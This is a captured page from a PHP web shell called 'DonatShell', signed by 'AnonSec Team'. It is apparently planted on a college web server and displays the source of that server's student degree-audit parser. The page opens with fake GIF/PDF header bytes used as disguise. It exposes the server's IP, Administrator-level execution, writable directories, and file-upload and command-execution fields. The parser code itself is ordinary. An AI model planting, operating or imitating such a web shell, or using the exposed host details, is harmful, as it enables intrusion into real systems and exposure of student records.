GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/Enrollment/parse/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/Enrollment/parse/parseDARS_10_c.phpinc
<?
// Admin/Enrollment/parse/parseDARS_10_c.phpinc
// Parse state 10
// Searching for: DatePrepared, StudentId, StudentLastName, StudentFirstName, StudentMiddleName, CredentialCode, CredentialCatalogSemesterUsed, CredentialCatalogYrUsed, CredentialTitle, CredentialCreditsTotal, CredentialEdPlanSemesterUsed, CredentialEdPlanYrUsed, Advisor, PlacementTest, StudentHolds, and CredentialStatus.

// ['DatePrepared'] ['StudentId']
// ['StudentLastName'] ['StudentFirstName'] ['StudentMiddleName']
// ['CredentialCode'] ['CredentialCatalogSemesterUsed'] ['CredentialCatalogYrUsed']
// ['CredentialTitle']
// ['CredentialCreditsTotal']
// ['CredentialEdPlanSemesterUsed'] ['CredentialEdPlanYrUsed']
// ['Advisor']
// ['PlacementTest']
// ['StudentHolds']
// ['CredentialStatus']

#printVar("$index: \$f_DARSln",$f_DARSln); #printVar('$f_DARSlnAsize',$f_DARSlnAsize); printVar('$f_DARSlnA',$f_DARSlnA);
#exit;

#$DEBUG_parseDARS_10_c = true;
if ( !isset($DEBUG_parseDARS_10_c) ) $DEBUG_parseDARS_10_c = false;
if ( $DEBUG_parseDARS_10_c ) {
	printLine(basename(__FILE__));
	printLine('Searching for: DatePrepared, StudentId, StudentLastName, StudentFirstName, StudentMiddleName, CredentialCode, CredentialCatalogSemesterUsed, CredentialCatalogYrUsed, CredentialTitle, CredentialCreditsTotal, CredentialEdPlanSemesterUsed, CredentialEdPlanYrUsed, Advisor, PlacementTest, StudentHolds, and CredentialStatus.');
}
#include('common/pageFooter.phpinc');

$indexStart = $index;

// ['DatePrepared'] ['StudentId']
if ( $DEBUG_parseDARS_10_c ) printLine("Searching for: ['DatePrepared'] ['StudentId'].",'/');
if ( $DEBUG_parseDARS_10_c ) {
	printVar("$index: \$f_DARSln",$f_DARSln);
	printVar('$f_DARSlnAsize',$f_DARSlnAsize);
	printVar('$f_DARSlnA',$f_DARSlnA);
}
if ( !$f_error ) {
	if ($f_DARSlnAsize == 6 && $f_DARSlnA[0] == "PREPARED" && valid_date($f_DARSlnA[1]) && is_numeric($f_DARSlnA[5]) ) {
		$DatePrepared = explode('/',$f_DARSlnA[1]);
		if ( strlen($DatePrepared[2]) == 2 ) {
			// Two digit year. Convert to four digit year.
			if ( $DatePrepared[2] > 80 ) {
				$DatePrepared[2] = '19'.$DatePrepared[2];
			} else {
				$DatePrepared[2] = '20'.$DatePrepared[2];
			}
		}
		$DARS['DatePrepared'] = $DatePrepared[2].'-'.$DatePrepared[0].'-'.$DatePrepared[1];
		$DARS['StudentId'] = $f_DARSlnA[5];
	} elseif ( $f_DARSlnAsize == 5 && $f_DARSlnA[0] == "PREPARED" && valid_date($f_DARSlnA[1]) && is_numeric($f_DARSlnA[4]) ) {
		$DatePrepared = explode('/',$f_DARSlnA[1]);
		if ( strlen($DatePrepared[2]) == 2 ) {
			// Two digit year. Convert to four digit year.
			if ( $DatePrepared[2] > 80 ) {
				$DatePrepared[2] = '19'.$DatePrepared[2];
			} else {
				$DatePrepared[2] = '20'.$DatePrepared[2];
			}
		}
		$DARS['DatePrepared'] = $DatePrepared[2].'-'.$DatePrepared[0].'-'.$DatePrepared[1];
		$DARS['StudentId'] = substr($f_DARSlnA[4],-8);
	} else {
		$f_error = 'Line does not contain Date Prepared and Student Id.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>';
	}
}
if ( $DEBUG_parseDARS_10_c ) printVar("\$DARS['DatePrepared']",$DARS['DatePrepared']);
if ( $DEBUG_parseDARS_10_c ) printVar("\$DARS['StudentId']",$DARS['StudentId']);

// ['StudentLastName'] ['StudentFirstName'] ['StudentMiddleName']
// May also contain  ['CredentialCatalogSemesterUsed'] ['CredentialCatalogYrUsed']
if ( !$f_error ) {
	get_DARSln();
	if ( $DEBUG_parseDARS_10_c ) printLine("Searching for: ['StudentLastName'] ['StudentFirstName'] ['StudentMiddleName'].",'/');
	if ( $DEBUG_parseDARS_10_c ) {
		printVar("$index: \$f_DARSln",$f_DARSln);
		printVar('$f_DARSlnAsize',$f_DARSlnAsize);
		printVar('$f_DARSlnA',$f_DARSlnA);
	}
	if ( stripos($f_DARSln,'Catalog') !== false ) {
		// This line also contains ['CredentialCatalogSemesterUsed'] ['CredentialCatalogYrUsed'].
		$f_DARSln = explode('Catalog',$f_DARSln); // Split off the 'Catalog'.
		$f_DARSlnCatalogSave = $f_DARSln[1]; // Keep the ['CredentialCatalogSemesterUsed'] ['CredentialCatalogYrUsed'] part.
		$f_DARSln = $f_DARSln[0]; // only parse the ['StudentLastName'] ['StudentFirstName'] ['StudentMiddleName'] part.
	} else {
		$f_DARSlnCatalogSave = '';
	}
	// Split on comma.
	$nameParts = explode(',',$f_DARSln);
	if ( $DEBUG_parseDARS_10_c ) printVar('$nameParts',$nameParts);
	$DARS['StudentLastName'] = $nameParts[0];
	$FirstMiddle = explode(' ',trim($nameParts[1]));
	if ( $DEBUG_parseDARS_10_c ) printVar('$FirstMiddle',$FirstMiddle);
	$DARS['StudentFirstName'] = $FirstMiddle[0];
	for ( $i=1; $i<count($FirstMiddle)-1; $i++ ) {
		$DARS['StudentFirstName'] .= ' '.$FirstMiddle[$i];
	}
	$DARS['StudentFirstName'] = trim($DARS['StudentFirstName']);
	if ( count($FirstMiddle) > 1 ) { $DARS['StudentMiddleName'] = $FirstMiddle[count($FirstMiddle)-1]; } else { $DARS['StudentMiddleName'] = ''; }
}
if ( $DEBUG_parseDARS_10_c ) printVar("\$DARS['StudentLastName']",$DARS['StudentLastName']);
if ( $DEBUG_parseDARS_10_c ) printVar("\$DARS['StudentFirstName']",$DARS['StudentFirstName']);
if ( $DEBUG_parseDARS_10_c ) printVar("\$DARS['StudentMiddleName']",$DARS['StudentMiddleName']);

// ['CredentialCode'] ['CredentialCatalogSemesterUsed'] ['CredentialCatalogYrUsed']
if ( !$f_error ) {
	get_DARSln();
	if ( $DEBUG_parseDARS_10_c ) printLine("Searching for: ['CredentialCode'] ['CredentialCatalogSemesterUsed'] ['CredentialCatalogYrUsed'].",'/');
	if ( $f_DARSlnCatalogSave ) { // Was ['CredentialCatalogSemesterUsed'] ['CredentialCatalogYrUsed'] part of the previous line?
		if ( $DEBUG_parseDARS_10_c ) d_Line("Put the ['CredentialCode'] ['CredentialCatalogSemesterUsed'] ['CredentialCatalogYrUsed'] line together.");
		// Put the ['CredentialCode'] ['CredentialCatalogSemesterUsed'] ['CredentialCatalogYrUsed'] line together.
		if ( $DEBUG_parseDARS_10_c ) d_Var('$f_DARSlnCatalogSave',$f_DARSlnCatalogSave,'d');
		$f_DARSlnA[4] = 'CATALOG';
		$f_DARSlnA[5] = 'YEAR';
		$f_DARSlnCatalogSaveParts = explode(' ',$f_DARSlnCatalogSave);
		if ( $DEBUG_parseDARS_10_c ) d_Var('$f_DARSlnCatalogSaveParts',$f_DARSlnCatalogSaveParts,'d');
		switch ( $f_DARSlnCatalogSaveParts[1] ) {
			case 'Fall':
				$f_DARSlnA[6] = 'F';
			break;
			case 'Spring':
				$f_DARSlnA[6] = 'S';
			break;
			case 'Summer':
				$f_DARSlnA[6] = 'SS';
			break;
		}
		$f_DARSlnA[7] = $f_DARSlnCatalogSaveParts[2];
		$f_DARSln .= ' '.$f_DARSlnA[4].' '.$f_DARSlnA[5].' '.$f_DARSlnA[6].' '.$f_DARSlnA[7];
		$f_DARSlnAsize = 7;
		$DARS_Is_PrinterFriendly = false;
		$DARS_Is_NOT_PrinterFriendly = true;
	} else {
		$DARS_Is_PrinterFriendly = true;
		$DARS_Is_NOT_PrinterFriendly = false;
	}
	if ( $DEBUG_parseDARS_10_c ) {
		printVar("$index: \$f_DARSln",$f_DARSln);
		printVar('$f_DARSlnAsize',$f_DARSlnAsize);
		printVar('$f_DARSlnA',$f_DARSlnA);
	}
	if ( !$f_error && $f_DARSlnAsize >= 6 && $f_DARSlnA[0] == "PROGRAM" && $f_DARSlnA[1] == "CODE") {
		$DARS['CredentialCode'] = $f_DARSlnA[2];
		// Fix no space between CredentialCatalogSemesterUsed and CredentialCatalogYrUsed.
		if ( $f_DARSlnA[3] != 'CATALOG' ) {
			$DARS['CredentialCode'] .= ' '.$f_DARSlnA[3];
		} else {
			#printVar('$f_DARSlnA[6]',$f_DARSlnA[6]);
			if ( isset($f_DARSlnA[6]) ) $f_DARSlnA[7] = $f_DARSlnA[6];
			$f_DARSlnA[6] = $f_DARSlnA[5];
		}
		// Fix no space between CredentialCatalogSemesterUsed and CredentialCatalogYrUsed.
		if ( is_numeric(substr($f_DARSlnA[6],1,1)) ) {
			#printVar('$f_DARSlnA[6]',$f_DARSlnA[6]);
			$f_DARSlnA[7] = substr($f_DARSlnA[6],1); // Year.
			$f_DARSlnA[6] = substr($f_DARSlnA[6],0,1); // Sem.
			#printVar('$f_DARSlnA[6]',$f_DARSlnA[6]);
			#printVar('$f_DARSlnA[7]',$f_DARSlnA[7]);
		}
		$DARS['CredentialCatalogSemesterUsed'] = $f_DARSlnA[6];
		if ( !isset($f_DARSlnA[7]) ) {
			// Fix no space issue.
			if ( is_numeric(substr($f_DARSlnA[6],1,1)) ) {
				$f_DARSlnA[7] = substr($f_DARSlnA[6],1); // Year.
				$f_DARSlnA[6] = substr($f_DARSlnA[6],0,1); // Sem.
			} elseif ( is_numeric(substr($f_DARSlnA[6],2,1)) ) {
				$f_DARSlnA[7] = substr($f_DARSlnA[6],2); // Year.
				$f_DARSlnA[6] = substr($f_DARSlnA[6],0,2); // Sem.
			}
		}
		$DARS['CredentialCatalogYrUsed'] = $f_DARSlnA[7];
	} else {
		$f_error = 'Line does not contain Credential Code, Credential Catalog Semester Used, or Credential Catalog Yr Used.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>';
	}
	if ( $DEBUG_parseDARS_10_c || !$DARS_Is_PrinterFriendly ) { d_Var('$DARS_Is_PrinterFriendly',$DARS_Is_PrinterFriendly,'d/b'); echo "<br>"; }
}
if ( $DEBUG_parseDARS_10_c ) printVar("\$DARS['CredentialCode']",$DARS['CredentialCode']);
if ( $DEBUG_parseDARS_10_c ) printVar("\$DARS['CredentialCatalogSemesterUsed']",$DARS['CredentialCatalogSemesterUsed']);
if ( $DEBUG_parseDARS_10_c ) printVar("\$DARS['CredentialCatalogYrUsed']",$DARS['CredentialCatalogYrUsed']);

// Skip RIDGEWATER COLLEGE line
if ( !$f_error ) {
	$index++; 
}

// ['CredentialTitle']
if ( !$f_error ) {
	get_DARSln();
	if ( $DEBUG_parseDARS_10_c ) printLine("Searching for: ['CredentialTitle'].",'/');
	if ( $DEBUG_parseDARS_10_c ) {
		printVar("$index: \$f_DARSln",$f_DARSln);
		printVar('$f_DARSlnAsize',$f_DARSlnAsize);
		printVar('$f_DARSlnA',$f_DARSlnA);
	}
	if ( !$f_error ) {
		$DARS['CredentialTitle'] = trim($f_DARSln);
	} else {
		$f_error = 'Line does not contain Credential Name.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>';
	}
}
if ( $DEBUG_parseDARS_10_c ) printVar("\$DARS['CredentialTitle']",$DARS['CredentialTitle']);

// ['CredentialCreditsTotal']
$DARS['CredentialCreditsTotal'] = 0;
if ( !$f_error ) {
	get_DARSln();
	if ( $DEBUG_parseDARS_10_c ) printLine("Searching for: ['CredentialCreditsTotal'].",'/');
	if ( $DEBUG_parseDARS_10_c ) {
		printVar("$index: \$f_DARSln",$f_DARSln);
		printVar('$f_DARSlnAsize',$f_DARSlnAsize);
		printVar('$f_DARSlnA',$f_DARSlnA);
	}
	if ( !$f_error && is_numeric($f_DARSlnA[0]) && $f_DARSlnA[1] == "Credits") {
		$DARS['CredentialCreditsTotal'] = $f_DARSlnA[0];
	} else {
		// Not all DARS have Credits line after CredentialTitle.
		//$f_error = 'Line does not contain Credential Credits.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>';
	}
}
if ( $DEBUG_parseDARS_10_c ) printVar("\$DARS['CredentialCreditsTotal']",$DARS['CredentialCreditsTotal']);

// ['CredentialEdPlanSemesterUsed'] ['CredentialEdPlanYrUsed']
if ( !$f_error ) {
	while ( !in_DARSln('--------------------------------------------------------------------------------') && get_DARSln() ) {
		#if ( $DEBUG_parseDARS_10_c ) printVar("$index: Skipping: \$f_DARSln",$f_DARSln);
	} // Skip to 'Triangle pointing down' line.
	if ( $DARS_Is_NOT_PrinterFriendly ) while ( get_DARSln() && !in_DARSln('--------------------------------------------------------------------------------') ) {
		#if ( $DEBUG_parseDARS_10_c ) printVar("$index: Skipping: \$f_DARSln",$f_DARSln);
	} // Skip to '--------------------------------------------------------------------------------' line.
	if ( !$f_error ) {
		get_DARSln();
		if ( $DEBUG_parseDARS_10_c ) printLine("Searching for: ['CredentialEdPlanSemesterUsed'] ['CredentialEdPlanYrUsed'].",'/');
		if ( $DEBUG_parseDARS_10_c ) {
			printVar("$index: \$f_DARSln",$f_DARSln);
			printVar('$f_DARSlnAsize',$f_DARSlnAsize);
			printVar('$f_DARSlnA',$f_DARSlnA);
		}
		if ( !$f_error && $f_DARSlnAsize == 6 && $f_DARSlnA[0] == "Ed" && $f_DARSlnA[1] == "Plan" && $f_DARSlnA[2] == "Yr" && $f_DARSlnA[3] == "Used" && is_numeric($f_DARSlnA[5])) {
			$DARS['CredentialEdPlanSemesterUsed'] = $f_DARSlnA[4];
			$DARS['CredentialEdPlanYrUsed'] = $f_DARSlnA[5];
		} else {
			$DARS['CredentialEdPlanSemesterUsed'] = $DARS['CredentialCatalogSemesterUsed'];
			$DARS['CredentialEdPlanYrUsed'] = $DARS['CredentialCatalogYrUsed'];
			//$f_error = 'Line does not contain Credential Ed Plan Yr Used.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>';
		}
	}
}
if ( $DEBUG_parseDARS_10_c ) printVar("\$DARS['CredentialEdPlanSemesterUsed']",$DARS['CredentialEdPlanSemesterUsed']);
if ( $DEBUG_parseDARS_10_c ) printVar("\$DARS['CredentialEdPlanYrUsed']",$DARS['CredentialEdPlanYrUsed']);

// Make sure the CredentialCatalog and CredentialEdPlan match.
if ( !$f_error && ( substr($DARS['CredentialCatalogSemesterUsed'],0,1) != substr($DARS['CredentialEdPlanSemesterUsed'],0,1) || $DARS['CredentialCatalogYrUsed'] != $DARS['CredentialEdPlanYrUsed'] ) ) {
	// The Catalog does not match the EdPlan.
	$f_error = 'The Catalog used ('.$DARS['CredentialCatalogSemesterUsed'].' '.$DARS['CredentialCatalogYrUsed'].') does not match the EdPlan used ('.$DARS['CredentialEdPlanSemesterUsed'].' '.$DARS['CredentialEdPlanYrUsed'].').<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>';
}

// ['Advisor']
if ( !$f_error ) {
	get_DARSln();
	if ( $DEBUG_parseDARS_10_c ) printLine("Searching for: ['Advisor'].",'/');
	if ( $DEBUG_parseDARS_10_c ) printVar("$index: \$f_DARSln",$f_DARSln);
	if ( $DARS_Is_PrinterFriendly ) while (!in_DARSln('--------------------------------------------------------------------------------') && get_DARSln()) {
		#if ( $DEBUG_parseDARS_10_c ) printVar("$index: Skipping: \$f_DARSln",$f_DARSln);
	} // Skip to '--------------------------------------------------------------------------------' line.
	if ( $DARS_Is_PrinterFriendly ) get_DARSln();
	if ( $DEBUG_parseDARS_10_c ) {
		printVar("$index: \$f_DARSln",$f_DARSln);
		printVar('$f_DARSlnAsize',$f_DARSlnAsize);
		printVar('$f_DARSlnA',$f_DARSlnA);
	}
	if ( !$f_error && (in_DARSln('Advisor:') ||  in_DARSln('Advisor(s):')) ) {
		$DARS['Advisor'] = str_replace("Advisor: ","",str_replace("Advisor(s): ","",$f_DARSln));
	} else {
		$f_error = 'Line does not contain an Advisor.<span class=\"pv_fl\"> '.basename(__FILE__).':'.__LINE__.'</span>';
	}
}
if ( $DEBUG_parseDARS_10_c ) printVar("\$DARS['Advisor']",$DARS['Advisor']);
if ( !$f_error ) {
	// Skip phone number.
		get_DARSln();
}
if ( !$f_error ) {
	// Skip email address.
		get_DARSln();
}
																																																																																																												
// ['PlacementTest']
if ( !isset($DARS['PlacementTest']) ) { $DARS['PlacementTest'] = array(); }
$TestScoresIndex = 0;
if ( !$f_error ) {
	get_DARSln();
	if ( $DEBUG_parseDARS_10_c ) printLine("Searching for: ['PlacementTest']s.",'/');
	#printVar("$index: \$f_DARSln",$f_DARSln); printVar('$f_DARSlnAsize',$f_DARSlnAsize); printVar('$f_DARSlnA',$f_DARSlnA);
	while ( !$f_error && $f_DARSlnA[0] == 'Test' && $f_DARSlnA[1] == 'Scores' ) {
		#printVar("$index: \$f_DARSln",$f_DARSln); printVar('$f_DARSlnAsize',$f_DARSlnAsize); printVar('$f_DARSlnA',$f_DARSlnA);
		$DARS['PlacementTest'][$TestScoresIndex]['Name'] = '';
		for ($li=2; $li<$f_DARSlnAsize-2; $li++) {
			// Get the test name.
			$DARS['PlacementTest'][$TestScoresIndex]['Name'] = trim($DARS['PlacementTest'][$TestScoresIndex]['Name'].' '.$f_DARSlnA[$li]);
		}
		$DARS['PlacementTest'][$TestScoresIndex]['Score'] = $f_DARSlnA[$f_DARSlnAsize-1];
		// Test next line for Date taken.
		if (get_DARSln()) {
			#printVar("$index: \$f_DARSln",$f_DARSln); printVar('$f_DARSlnAsize',$f_DARSlnAsize); printVar('$f_DARSlnA',$f_DARSlnA);
			if ($f_DARSlnA[0] == 'Date' && ( $f_DARSlnA[1] == 'taken' || $f_DARSlnA[1] == 'Taken' ) && valid_date($f_DARSlnA[$f_DARSlnAsize-1]) ) {
				$DARS['PlacementTest'][$TestScoresIndex]['Date'] = fix_date_year($f_DARSlnA[$f_DARSlnAsize-1]);
			} else {
				$DARS['PlacementTest'][$TestScoresIndex]['Date'] = '';
				$index--;
			}
		}
		// Check if this is a duplicate ['PlacementTest'].
		if ( $TestScoresIndex > 0 && $DARS['PlacementTest'][$TestScoresIndex-1]['Name'] == $DARS['PlacementTest'][$TestScoresIndex]['Name'] && $DARS['PlacementTest'][$TestScoresIndex-1]['Score'] == $DARS['PlacementTest'][$TestScoresIndex]['Score'] && $DARS['PlacementTest'][$TestScoresIndex-1]['Date'] == $DARS['PlacementTest'][$TestScoresIndex]['Date'] ) {
			// This test is a duplicate of the previous test. Do not advance index.
		} else {
			$TestScoresIndex++;
		}
		get_DARSln();
	}
}
if ( $DEBUG_parseDARS_10_c ) printVar("\$DARS['PlacementTest']",$DARS['PlacementTest']);

// ['StudentHolds']
if ( $DEBUG_parseDARS_10_c ) printLine("Searching for: ['StudentHolds'].",'/');
if ( !isset($DARS['StudentHolds']) ) { $DARS['StudentHolds'] = ''; }
$prefix = '';
while ( !$f_error && in_DARSln('Student Holds') ) {
	$DARS['StudentHolds'] .= $prefix.str_replace("Student Holds: ","",$f_DARSln);
	$prefix = '|';
	get_DARSln();
}
if ( $DARS['StudentHolds'] ) { $DARS['StudentHolds'] = substr($DARS['StudentHolds'],0,255); }
if ( $DEBUG_parseDARS_10_c ) printVar("\$DARS['StudentHolds']",$DARS['StudentHolds']);

// Skip to **********************************************************.
if ( $DEBUG_parseDARS_10_c ) printVar("$index: \$f_DARSln",$f_DARSln);
while ( !in_DARSln('--------------------------------------------------------------------------------') && get_DARSln() ) {
	if ( $DEBUG_parseDARS_10_c ) printVar("$index: Skipping: \$f_DARSln",$f_DARSln);
} // Skip **********************************************************.
if ( !$f_error ) get_DARSln();
if ( $DEBUG_parseDARS_10_c ) printVar("$index: \$f_DARSln",$f_DARSln);
while ( !in_DARSln('--------------------------------------------------------------------------------') && get_DARSln() ) {
	if ( $DEBUG_parseDARS_10_c ) printVar("$index: Skipping: \$f_DARSln",$f_DARSln);
} // Skip **********************************************************.
if ( !$f_error ) get_DARSln();
if ( $DEBUG_parseDARS_10_c ) printVar("$index: \$f_DARSln",$f_DARSln);

#printVar("$index: \$f_DARSln",$f_DARSln); printVar('$f_DARSlnAsize',$f_DARSlnAsize); printVar('$f_DARSlnA',$f_DARSlnA);
// ['CredentialStatus']
if ( !$f_error ) {
	if ( $DEBUG_parseDARS_10_c ) printLine("Searching for: ['CredentialStatus'].",'/');
	if ( in_DARSln('HAS NOT BEEN') || in_DARSln('HAVE BEEN') ) {
		$DARS['CredentialStatus'] = trim($f_DARSln);
	} else {
		$DARS['CredentialStatus'] = '';
	}
}
if ( $DEBUG_parseDARS_10_c ) printVar("\$DARS['CredentialStatus']",$DARS['CredentialStatus']);

set_state(20);

#printVar('$DARS',$DARS);
if ( $DEBUG_parseDARS_10_c )  include('common/pageFooter.phpinc');

$indexStop = $index;
?>

Anon7 - 2022
AnonSec Team